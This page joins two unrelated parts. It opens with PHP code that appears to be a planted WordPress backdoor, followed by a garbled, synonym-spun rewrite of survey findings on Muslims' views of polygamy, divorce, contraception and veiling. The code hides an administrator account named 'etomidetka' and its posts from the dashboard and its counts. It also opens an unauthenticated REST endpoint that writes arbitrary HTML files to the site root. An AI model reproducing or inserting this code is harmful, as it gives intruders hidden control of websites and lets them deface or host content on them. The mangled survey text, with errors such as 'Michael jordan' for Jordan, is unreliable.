//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
In the example of polygamy, simply when you look at the Southern and East European countries (median out of 68%) and Main China (62%) create really say that the technique of delivering multiple spouses try ethically improper. In the almost every other regions surveyed, thinking on polygamy vary extensively of nation to nation. Eg, around Eastern-Northern Africa area, the newest portion of Muslims just who believe polygamy was fairly inappropriate ranges regarding six% inside Michael jordan in order to 67% for the Tunisia. Furthermore, inside sub-Saharan Africa, as low as 5% out-of Muslims inside Niger say plural relationship are fairly completely wrong, compared to 59% which keep so it view for the Mozambique.
When you look at the sub-Saharan Africa, an average from 51% explicitly establish split up since the fairly wrong. In other nations, less display which look at, no matter if viewpoints are different substantially from the nation level. Of a lot Muslims point out that divorce proceedings is possibly not an ethical point otherwise that morality from ending a marriage relies on the fresh problem. In between Eastern and you can North Africa, such as, more 25 % from Muslims into the five of your own half dozen regions where concern is actually questioned say often one to divorce or separation is actually maybe not a moral question or which utilizes the brand new context.
Muslims are also separated with regards to new morality out of birth control. For the majority regions where matter is asked, there is certainly neither a definite majority saying relatives thought was morally appropriate nor a very clear majority claiming it is morally wrong. Instead, of many Muslims in the world say that a wedded couple’s choice in order to limit pregnancies often isn’t a moral topic or is based toward situation; this consists of medians with a minimum of a-quarter from inside the Central China (27%), South and you will East Europe (30%) therefore the Middle eastern countries-North Africa part (41%).
Including, within the Bangladesh and you can Lebanon, followers away from sharia is located at least eleven payment facts probably be than other Muslims to say split up was morally appropriate. But in Albania, Kazakhstan, Russia, Kosovo and you will Kyrgyzstan, those who wanted sharia are official law was less likely than many other Muslims to define separation and divorce once the morally acceptable. Sharia supporters in almost any nations also diverge inside their perceptions on members of the family believed. Within the Bangladesh, Michael jordan and you can Bosnia-Herzegovina, Muslims who want to enshrine sharia once the law off home will say loved ones planning was ethical, whilst in Kazakhstan, Russia, Lebanon and you can Kyrgyzstan, supporters from sharia is less likely to want to say restricting pregnancies try morally appropriate. (For lots more info on feedback on polygamy, divorce and friends thought, pick Morality and you may Relationships in the Part step 3: Morality.)
Muslims’ perceptions with the ladies legal rights are blended. In the most common parts of the world, Muslims claim that a female will be able to determine whether to wear good veil. Yet , when it comes to individual life, most Muslims state a partner should always follow the lady spouse. You will find big dispute over whether a wife might be able in order to begin a separation and you will if or not a girl would be in a position for a genetics equal to good son’s.
Across five of half a dozen significant countries as part of the data, majorities out-of Muslims in most nations say a female might be able to choose herself whether or not to don a great veil for the societal. Medians away from roughly eight-in-ten or even more need that it consider in Southern area and East European countries (88%), Southeast China (79%) and Central Asia (73%). However, less say female should have which in Southern area China (56%) and Middle eastern countries-Northern Africa part (53%). Sub-Saharan Africa ‘s the just region where a median from faster than just half (40%) envision a lady can go for herself whether to wear a good veil. (To get more information on viewpoints on the veiling, discover Women and you can Veiling in Part cuatro: Ladies in Neighborhood.)